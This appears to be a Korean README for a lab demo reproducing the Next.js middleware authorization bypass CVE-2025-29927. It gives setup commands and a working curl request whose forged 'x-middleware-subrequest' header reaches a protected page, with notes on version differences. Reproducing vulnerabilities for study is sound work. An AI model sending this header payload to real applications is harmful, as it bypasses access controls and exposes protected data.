
Next.js의 인가 우회 취약점 CVE-2025-29927을 재현하는 데모입니다.
Next.js의 인가 우회 취약점을 재현하는 데모입니다.
해당 취약점에 대한 자세한 내용은 Next.js 취약점 CVE-2025-29927 정리 를 참조하세요.
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
curl 등을 사용하여 x-middleware-subrequest 헤더를 추가한 요청을 전송합니다.curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
이로 인해 인가 우회가 발생하여 /protected 페이지에 접근할 수 있게 됩니다.
middleware 값은 Next.js가 인식하는 미들웨어의 이름입니다. 이 데모 앱에는 middleware라는 이름의 미들웨어가 존재하므로, 이 값을 지정하면 인가 우회가 발생합니다.
[!TIP] Next.js 15.x에서는
MAX_RECURSION_DEPTH가 5로 설정되어 있으므로, middleware 값을 5회 이상:로 구분하여 반복해야 합니다. 이전 버전(14.x)에서는 단순히 "middleware" 하나만으로 충분했습니다. 이 데모 앱에서는 Next.js 15.2.2가 사용되므로 이러한 값이 필요합니다.